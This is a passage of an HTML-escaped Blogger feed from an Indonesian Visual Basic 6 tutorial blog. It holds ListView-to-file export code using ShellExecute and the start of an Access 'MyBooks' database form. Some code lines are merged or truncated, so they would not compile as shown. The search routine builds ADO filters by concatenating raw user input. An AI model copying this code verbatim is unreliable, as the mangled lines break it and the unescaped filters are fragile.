/&gt;sFileName = psOutPutName &amp;amp; sExt&lt;br /&gt;Else&lt;br /&gt;sFileName = psOutPutName &amp;amp; sExt&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'mengeset Output path&lt;br /&gt;If psOutPutPath = vbNullString Then&lt;br /&gt;sTempDir = App.Path &amp;amp; "\"&lt;br /&gt;Else&lt;br /&gt;sTempDir = psOutPutPath&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;sFullPathName = sTempDir &amp;amp; sFileName&lt;br /&gt;&lt;br /&gt;If Not utFileExists(sTempDir, True) Then&lt;br /&gt;bDelAppApthFile = True&lt;br /&gt;sTempDir = App.Path &amp;amp; "\"&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'menyusun Data&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbHourglass&lt;br /&gt;&lt;br /&gt;'1. menyusun Header&lt;br /&gt;ReDim aryColMaxLen(1 To oLstView.ColumnHeaders.Count)&lt;br /&gt;For lColPos = 1 To oLstView.ColumnHeaders.Count&lt;br /&gt;If oLstView.ColumnHeaders(lColPos).Width &amp;gt; 0 Then&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;aryColMaxLen(lColPos) = GetMaxLenthForCol(oLstView, lColPos)&lt;br /&gt;End If&lt;br /&gt;sTemp = oLstView.ColumnHeaders(lColPos).Text&lt;br /&gt;sTemp = "[" &amp;amp; sTemp &amp;amp; "]" 'wrap the col name&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;If aryColMaxLen(lColPos) &amp;lt; Len(sTemp) Then aryColMaxLen(lColPos) = Len(sTemp) End If lFillLen = aryColMaxLen(lColPos) lFillLen = (lFillLen - Len(sTemp)) If lFillLen &amp;gt; 0 Then&lt;br /&gt;sTemp = sTemp &amp;amp; String(lFillLen, Chr(32))&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;'tambahkan ke header&lt;br /&gt;sHeader = sHeader &amp;amp; sTemp &amp;amp; vbTab&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;If sHeader &amp;lt;&amp;gt; vbNullString Then&lt;br /&gt;'menambahkan spasi pada header&lt;br /&gt;sHeader = sHeader &amp;amp; vbCrLf&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;'Set Header ke Data&lt;br /&gt;sData = sHeader&lt;br /&gt;&lt;br /&gt;'2. menyusun isi&lt;br /&gt;For Each Item In oLstView.ListItems&lt;br /&gt;For lColPos = 1 To oLstView.ColumnHeaders.Count&lt;br /&gt;If oLstView.ColumnHeaders(lColPos).Width &amp;gt; 0 Then&lt;br /&gt;If lColPos = 1 Then&lt;br /&gt;sTemp = Item.Text&lt;br /&gt;Else&lt;br /&gt;sTemp = Item.ListSubItems(lColPos - 1).Text&lt;br /&gt;End If&lt;br /&gt;'dibutuhkan untuk membersihkan banyaknya enter pada data&lt;br /&gt;'Replace with 2 spaces&lt;br /&gt;sTemp = Replace(sTemp, vbCrLf, String(2, Chr(32)))&lt;br /&gt;'tidak memiliki banyak extra tab,&lt;br /&gt;sTemp = Replace(sTemp, vbTab, " ")&lt;br /&gt;'tambah 3 account untuk "..."&lt;br /&gt;If Len(sTemp) &amp;gt; (plMaxColLen + 3) Then&lt;br /&gt;sTemp = Left(sTemp, plMaxColLen) &amp;amp; "..."&lt;br /&gt;End If&lt;br /&gt;'Hanya dibutuhkan untuk mendapatkan banyaknya Len pada format .txt&lt;br /&gt;If StrComp(sExt, ".txt", vbTextCompare) = 0 Then&lt;br /&gt;lFillLen = aryColMaxLen(lColPos)&lt;br /&gt;lFillLen = lFillLen - Len(sTemp)&lt;br /&gt;If lFillLen &amp;gt; 0 Then&lt;br /&gt;sTemp = sTemp &amp;amp; String(lFillLen, Chr(32))&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;sData = sData &amp;amp; sTemp &amp;amp; vbTab&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;sData = sData &amp;amp; vbCrLf&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'Simpan ke temp directory&lt;br /&gt;SaveFileData sFullPathName, sData&lt;br /&gt;&lt;br /&gt;If utFileExists(sFullPathName) Then&lt;br /&gt;lRet = utShellExecute(GetDesktopWindow, "OPEN", sFullPathName, vbNullString, App.Path, vbNormalFocus, False, False, True)&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault&lt;br /&gt;&lt;br /&gt;Set oLstView = Nothing&lt;br /&gt;Set Item = Nothing&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.Description&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault&lt;br /&gt;Err.Raise lErrNum, , sErrDesc &amp;amp; vbCrLf &amp;amp; "Private Sub ShowItemList"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function GetMaxLenthForCol(poLstView As Object, _&lt;br /&gt;lColPos As Long, _&lt;br /&gt;Optional plMaxColLen As Long = 100) As Long&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;Dim Item As ListItem&lt;br /&gt;Dim oLstView As ListView&lt;br /&gt;Dim sTemp As String&lt;br /&gt;Dim lThisLen As Long&lt;br /&gt;Dim lLen As Long&lt;br /&gt;&lt;br /&gt;Set oLstView = poLstView&lt;br /&gt;&lt;br /&gt;For Each Item In oLstView.ListItems&lt;br /&gt;If lColPos = 1 Then&lt;br /&gt;sTemp = Item.Text&lt;br /&gt;Else&lt;br /&gt;sTemp = Item.ListSubItems(lColPos - 1).Text&lt;br /&gt;End If&lt;br /&gt;lThisLen = Len(sTemp)&lt;br /&gt;If lThisLen &amp;gt; lLen Then&lt;br /&gt;lLen = lThisLen&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;If lLen &amp;gt; plMaxColLen Then&lt;br /&gt;' Tambahkan maksimal 3 Length untuk account "..."&lt;br /&gt;lLen = plMaxColLen + 3&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;GetMaxLenthForCol = lLen&lt;br /&gt;&lt;br /&gt;Set Item = Nothing&lt;br /&gt;Set oLstView = Nothing&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.Description&lt;br /&gt;Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault&lt;br /&gt;MsgBox lErrNum &amp;amp; vbCrLf &amp;amp; sErrDesc&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Public Function utFileExists(strFile As String, Optional pbDirOnly As Boolean) As Boolean&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim FSO As Scripting.FileSystemObject&lt;br /&gt;&lt;br /&gt;Set FSO = New Scripting.FileSystemObject&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If strFile &amp;lt;&amp;gt; vbNullString Then&lt;br /&gt;If Not pbDirOnly Then&lt;br /&gt;utFileExists = FSO.FileExists(strFile)&lt;br /&gt;Else&lt;br /&gt;utFileExists = FSO.FolderExists(strFile)&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Set FSO = Nothing&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;Set FSO = Nothing&lt;br /&gt;utFileExists = False&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Sub SaveFileData(psFilePath As String, psFileData As String, Optional psDelimeter As String, Optional pbLock As Boolean = False, Optional piFFile As Integer)&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lMyFileLen As Long&lt;br /&gt;Dim iFFile As Integer&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;iFFile = FreeFile&lt;br /&gt;piFFile = iFFile&lt;br /&gt;Open psFilePath For Binary Access Write As #iFFile&lt;br /&gt;Put #iFFile, 1, psFileData &amp;amp; psDelimeter&lt;br /&gt;If Not pbLock Then&lt;br /&gt;Close #iFFile&lt;br /&gt;End If&lt;br /&gt;Exit Sub&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.Description&lt;br /&gt;Close #iFFile&lt;br /&gt;Err.Raise lErrNum, , App.EXEName &amp;amp; vbCrLf &amp;amp; "Public Sub SaveFileData" &amp;amp; vbCrLf &amp;amp; "Error # " &amp;amp; lErrNum &amp;amp; vbCrLf &amp;amp; sErrDesc &amp;amp; vbCrLf&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function GetFileData(psFilePath As String, Optional pbLock As Boolean = False, Optional piFFile As Integer, Optional pbSkipMess As Boolean = True) As String&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lMyFileLen As Long&lt;br /&gt;Dim iFFile As Integer&lt;br /&gt;&lt;br /&gt;iFFile = FreeFile&lt;br /&gt;piFFile = iFFile&lt;br /&gt;If pbLock Then&lt;br /&gt;Open psFilePath For Binary Access Read Lock Read As #iFFile&lt;br /&gt;Else&lt;br /&gt;Open psFilePath For Binary Access Read As #iFFile&lt;br /&gt;End If&lt;br /&gt;lMyFileLen = FileLen(psFilePath) + 2&lt;br /&gt;GetFileData = Input(lMyFileLen, #iFFile)&lt;br /&gt;If Not pbLock Then&lt;br /&gt;Close #iFFile&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;Close #iFFile&lt;br /&gt;If Not pbSkipMess Then&lt;br /&gt;If MsgBox("Tidak Dapat Membaca File... " &amp;amp; vbCrLf &amp;amp; psFilePath &amp;amp; vbCrLf &amp;amp; "(" &amp;amp; Err.Description &amp;amp; ")" &amp;amp; vbCrLf &amp;amp; vbCrLf &amp;amp; _&lt;br /&gt;"Jaringan atau File Sedang Sibuk." &amp;amp; vbCrLf &amp;amp; "Tekan ""Yes"" untuk mencoba lagi." &amp;amp; vbCrLf &amp;amp; "Tekan ""No"" untuk menghentikan proses", vbYesNo, "File Sibuk") = vbYes Then&lt;br /&gt;Resume&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Function utShellExecute(Optional plHwnd As Long = -1, _&lt;br /&gt;Optional pslpOperation As String = "OPEN", _&lt;br /&gt;Optional pslpFile As String, _&lt;br /&gt;Optional pslpParameters As String = vbNullString, _&lt;br /&gt;Optional pslpDirectory As String = "App.Path", _&lt;br /&gt;Optional plnShowCmd As VBA.VbAppWinStyle = vbNormalFocus, _&lt;br /&gt;Optional pbUseTimeStampFileName As Boolean = False, _&lt;br /&gt;Optional pbShowMessage As Boolean = False, _&lt;br /&gt;Optional psTempFileCaption As String) As Boolean&lt;br /&gt;On Error GoTo Salah&lt;br /&gt;Dim lHwnd As Long&lt;br /&gt;Dim slpOperation As String&lt;br /&gt;Dim slpFile As String&lt;br /&gt;Dim slpParameters As String&lt;br /&gt;Dim slpDirectory As String&lt;br /&gt;Dim lnShowCmd As VBA.VbAppWinStyle&lt;br /&gt;Dim sErrorMess As String&lt;br /&gt;Dim sTmpExt As String&lt;br /&gt;Dim sTmpFile As String&lt;br /&gt;Dim lRet As Long&lt;br /&gt;Dim sDir As String&lt;br /&gt;Dim lErrNum As Long&lt;br /&gt;Dim sErrDesc As String&lt;br /&gt;&lt;br /&gt;utShellExecute = False&lt;br /&gt;&lt;br /&gt;'mendapatkan info dari Parameter&lt;br /&gt;If plHwnd = -1 Then&lt;br /&gt;lHwnd = GetDesktopWindow&lt;br /&gt;End If&lt;br /&gt;slpOperation = pslpOperation&lt;br /&gt;If pslpFile = vbNullString Then&lt;br /&gt;Exit Function&lt;br /&gt;Else&lt;br /&gt;slpFile = pslpFile&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;slpParameters = pslpParameters&lt;br /&gt;If pslpDirectory = "App.Path" Then&lt;br /&gt;slpDirectory = App.Path&lt;br /&gt;Else&lt;br /&gt;slpDirectory = pslpDirectory&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;lnShowCmd = plnShowCmd&lt;br /&gt;&lt;br /&gt;'Jika file tdk ada kemudian keluar&lt;br /&gt;If utFileExists(slpFile) Or InStr(1, slpFile, "MAPIMAIL", vbTextCompare) &amp;gt; 0 Then&lt;br /&gt;sTmpFile = slpFile&lt;br /&gt;lRet = ShellExecute(lHwnd, slpOperation, sTmpFile, slpParameters, slpDirectory, lnShowCmd)&lt;br /&gt;If lRet = SE_ERR_NOASSOC Then&lt;br /&gt;sDir = Space(260)&lt;br /&gt;lRet = GetSystemDirectory(sDir, Len(sDir))&lt;br /&gt;sDir = Left(sDir, lRet)&lt;br /&gt;lRet = ShellExecute(lHwnd, vbNullString, "RUNDLL32.EXE", "shell32.dll,OpenAs_RunDLL " &amp;amp; sTmpFile, sDir, lnShowCmd)&lt;br /&gt;End If&lt;br /&gt;Else&lt;br /&gt;SHOW_ERROR:&lt;br /&gt;If pbShowMessage Then&lt;br /&gt;If sErrorMess = vbNullString Then&lt;br /&gt;sErrorMess = "File Tidak diketemukan!" &amp;amp; vbCrLf &amp;amp; psTempFileCaption &amp;amp; vbCrLf &amp;amp; slpFile&lt;br /&gt;End If&lt;br /&gt;MsgBox sErrorMess, vbExclamation + vbOKOnly, "File Error"&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;utShellExecute = True&lt;br /&gt;Exit Function&lt;br /&gt;Salah:&lt;br /&gt;lErrNum = Err.Number&lt;br /&gt;sErrDesc = Err.DescriptionErr.Raise lErrNum, , App.EXEName &amp;amp; vbCrLf &amp;amp; "Public Function utShellExecute" &amp;amp; vbCrLf &amp;amp; "Error # " &amp;amp; lErrNum &amp;amp; vbCrLf &amp;amp; sErrDesc &amp;amp; vbCrL&lt;br /&gt;&lt;br /&gt;End Function&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Selesai, Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/1716566365788540731/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/11/ekspor-txt-ke-excel.html#comment-form" rel="replies" title="12 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1716566365788540731" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/1716566365788540731" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/11/ekspor-txt-ke-excel.html" rel="alternate" title="Ekspor Txt ke Excel" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://2.bp.blogspot.com/_48czvH0DaKc/SRHz1HuKkeI/AAAAAAAAAP0/xgr_Cr9hS_E/s72-c/Data+Teks.jpg" width="72"/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-6040435728417186976</id><published>2008-08-28T03:10:00.019+07:00</published><updated>2012-07-04T00:34:17.972+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Database"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft Office Access"/><title type="text">MyBooks Database</title><content type="html">Sekarang kita mencoba belajar Database visual basic, yaitu database dengan menggunakan Microsoft Office Acces sebagai sumber datanya.Program ini sebagai janji saya kepada beberapa pengunjung yang menanyakan mengenai database. Kita akan membuat sebuah aplikasi sederhana "Koleksi Bukuku" yang berfungsi untuk menyimpan daftar koleksi buku yang mungkin sangat banyak dan kita belum sempat melakukan inventarisasi terhadapnya.Saya sendiri sempat terkejut pada saat saya membuat project ini karena ketika saya memasukan data buku-buku saya eh..ternyata jumlahnya lumayan banyak yaitu 45 buku, bayangkan jika semua buku tersebut minimal harganya 25.000 sudah menghabiskan berapa rupiah nih ..???&lt;br /&gt;Tapi semua buku pasti bermanfaat dan saya tentu tidak menyesal untuk membelinya dan memilikinya.&lt;br /&gt;Thanks My Books.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://picasaweb.google.com/JokomartonoVB/BelajarVisualBasic/photo?authkey=BPSAAWnw500#5240101423034703298"&gt;&lt;img height="400" src="http://lh4.ggpht.com/JokomartonoVB/SLiUeyMAncI/AAAAAAAAAD8/97AJVDxrNz4/s400/software.jpg" style="height: 250px; width: 205px;" width="328" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Baik langsung saja yang dibutuhkan dalam project ini adalah :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;satu form dengan nama main&lt;/li&gt;&lt;li&gt;satu dataenvironment dengan nama dataenvironment1&lt;/li&gt;&lt;li&gt;datareport dengan nama datareport1&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Control yang ada didalam form, yaitu :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Imagelist1 sebagai penampung image untuk toolbar&lt;/li&gt;&lt;li&gt;Toolbar1 sebagai tempat menampung gambar yang akan dapat di klik langsung oleh user&lt;/li&gt;&lt;li&gt;frame1 sebagai tempat&lt;/li&gt;&lt;li&gt;tujuh Textbox yaitu txtjudul, txtreferensi, txtpenulis, txtcetakan, txtpenerbit, txtrecordaktif dan txtsearch&lt;/li&gt;&lt;li&gt;satu ComboBox yaitu cbosearch&lt;/li&gt;&lt;li&gt;satu CommandButton yaitu cmdcari&lt;/li&gt;&lt;li&gt;membuat Menubar untuk menampung File, Tambah, Hapus, urut sesuai Judul , urut sesuai Resensi dan seterusnya.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Fasilitas yang ada pada project sederhana ini adalah :&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Pencarian&lt;/li&gt;&lt;li&gt;Tambah data&lt;/li&gt;&lt;li&gt;Hapus Data&lt;/li&gt;&lt;li&gt;Update data&lt;/li&gt;&lt;li&gt;Pembatalan data&lt;/li&gt;&lt;li&gt;Simpan data&lt;/li&gt;&lt;li&gt;Edit data&lt;/li&gt;&lt;li&gt;Menampilkan laporan yang lumayan tampilannya&lt;/li&gt;&lt;li&gt;Lebih fleksibel karena untuk koneksi ke database menggunakan kode dan tidak menggunakan Adodc yang saya rasa kurang fleksibel dalam koneksi database.&lt;/li&gt;&lt;li&gt;Navigasi (Next, Previous, First dan Last) yang diletakan di menubar sehingga lebih hemat tempat.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div style="background-color: black; color: yellow;"&gt;BACA DAHULU CODE-CODE DIBAWAH INI KHUSUSNYA PADA "MNUITEMREPORT" DAN "CASE LAPORAN". JANGAN JALANKAN JIKA BELUM DICOMPILE KARENA NANTI WALAUPUN SUDAH ANDA STOP PROJECT ANDA MAKA APLIKASI YANG BERADA DIFOLDER INI YAITU "KOLEKSIBUKUKU.EXE" AKAN DIJALANKAN !!!&lt;/div&gt;&lt;div style="background-color: black; color: yellow;"&gt;BACA ALASANYA DI "MNUITEMREPORT" DAN "CASE LAPORAN".&lt;/div&gt;&lt;br /&gt;&lt;u&gt;Masukan semua kode di bawah ini dalam form&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;&lt;span style="font-size: x-small;"&gt;Option Explicit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private WithEvents adoPrimaryRSdaftarBuku As Recordset&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub CboSearch_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika cbosearch diklik&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case CboSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'memilih Judul&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub DisableSearch()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.BackColor = vbWindowText&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = "Masukan Kata Kunci Pencarian"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;CboSearch.Text = "Pencarian"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Command1_Click()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If TxtSearch.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Beep&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika cbosearch dipilih&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case CboSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika data tidak ditemukan maka&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.EOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Data yang anda cari tidak ditemukan", vbOKOnly + vbCritical, "Search"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error GoTo 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;LblRecordAktif.Caption = " Jumlah Koleksi " &amp;amp; adoPrimaryRSdaftarBuku.RecordCount &amp;amp; " Buku" &amp;amp; " dan Sekarang Posisi di Koleksi Buku ke " &amp;amp; adoPrimaryRSdaftarBuku.AbsolutePosition&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub Form_Load()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Dim db As Connection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set db = New Connection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;db.CursorLocation = adUseClient&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;"Data Source=" &amp;amp; App.Path &amp;amp; "\Daftar Buku.mdb;"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Set adoPrimaryRSdaftarBuku = New Recordset&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Open "TblDaftarBuku", db, 